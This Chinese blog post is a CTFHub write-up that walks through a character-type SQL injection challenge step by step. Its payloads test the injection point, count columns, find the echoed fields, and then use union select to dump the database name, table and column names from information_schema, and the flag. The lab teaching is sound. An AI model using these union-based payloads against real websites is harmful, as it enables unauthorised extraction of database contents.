CTFHUB-技能树-Web题-SQL注入-字符型注入

Web题字符型SQL注入详解

原创已于 2024-05-09 21:15:10 修改 · 728 阅读

CC 4.0 BY-SA版权

文章标签：

于 2024-03-29 19:43:48 首次发布

28 篇文章

订阅专栏

博客围绕Web题中的字符型SQL注入展开，介绍了判断注入点、字段数、回显字段的方法，还提及爆库名、表名、列名和数据等操作，属于Web安全和数据库相关内容。

对于字符型注入，可在url中输入

1' and 1=1 --+ 有回显

需要让语句闭合，正常执行，在url结尾输入%23 或者--+，正常闭合，%23为#，注释后面的语句,一定要注意“ ' ”英文输入下，否则容易爆错

在这里插入图片描述

1' and 1=2 --+ 无回显

在这里插入图片描述

由此判断此为注入点

1' order by 3 --+ 无回显

在这里插入图片描述

1' order by 2--+ 有回显

在这里插入图片描述

由此判断字段数为两个

-1' union select 1,2 --+

在这里插入图片描述

由此判断回显字段为1，2字段

-1’ union select user(),database() --+

在这里插入图片描述

-1' union select user(),group_concat(table_name) from information_schema.tables where table_schema=database() --+

在这里插入图片描述

-1' union select user(),group_concat(column_name) from information_schema.columns where table_name='flag' --+

在这里插入图片描述

-1' union select 1,flag from flag --+

在这里插入图片描述